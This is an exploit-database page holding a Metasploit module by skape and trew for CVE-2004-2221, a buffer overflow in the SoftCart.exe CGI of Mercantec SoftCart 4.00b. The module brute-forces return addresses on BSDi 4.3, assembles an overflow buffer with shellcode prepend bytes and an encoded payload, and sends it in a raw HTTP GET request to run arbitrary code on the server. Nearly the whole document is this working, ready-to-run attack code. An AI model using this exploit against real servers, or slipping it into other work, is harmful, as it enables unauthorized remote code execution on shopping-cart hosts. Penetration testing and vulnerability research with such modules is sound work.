[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mercantec SoftCart 4.00b CGI Overflow
# Published : 2004-08-19
# Author : skape
# Previous Title : phpMyWebhosting SQL Injection Exploit
# Next Title : PHP (php-exec-dir) Patch Command Access Restriction Bypass


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Mercantec SoftCart CGI Overflow',
			'Description'    => %q{
				This is an exploit for an undisclosed buffer overflow
				in the SoftCart.exe CGI as shipped with Mercantec's shopping
				cart software.  It is possible to execute arbitrary code
				by passing a malformed CGI parameter in an HTTP GET
				request.  This issue is known to affect SoftCart version
				4.00b.
			},
			'Author'         => [ 'skape', 'trew' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
				    	[ 'CVE', '2004-2221'],
					[ 'OSVDB', '9011'],
					[ 'BID', '10926'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "x09x0ax0bx0cx0dx20x27x5cx3cx3ex3bx22x60x7ex24x5ex2ax26x7cx7bx7dx28x29x3fx5dx5bx00",
					'MinNops'  => 16,
					'Prepend'  => "x6ax02x58x50x9ax00x00x00x00x07x00x85xd2x75x0ax31xc0x40x9ax00x00x00x00x07x00",
					'PrependEncoder' => "x83xecx7f",
				},
			'Platform'       => 'bsdi',
			'Targets'        => 
				[
					[ 
						'BSDi/4.3 Bruteforce',
						{
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xefbf3000 },
									'Stop'  => { 'Ret' => 0xefbffffc },
									'Step'  => 0
								}
						},
					],
				],
			'DisclosureDate' => 'Aug 19 2004',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
			], self.class)
	end

	def brute_exploit(address)
		
		buffer =
			"MAA+scstoreB" +
			rand_text_alphanumeric(512) +
			[address['Ret']].pack('V') +
			"MSF!" +
			[address['Ret'] + payload.encoded.length].pack('V') +
			payload.encoded

		print_status("Trying #{"%.8x" % address['Ret']}...")
		res = send_request_raw({
			'uri'   => datastore['URI'],
			'query' => buffer
		}, 5)

		handler
	end

end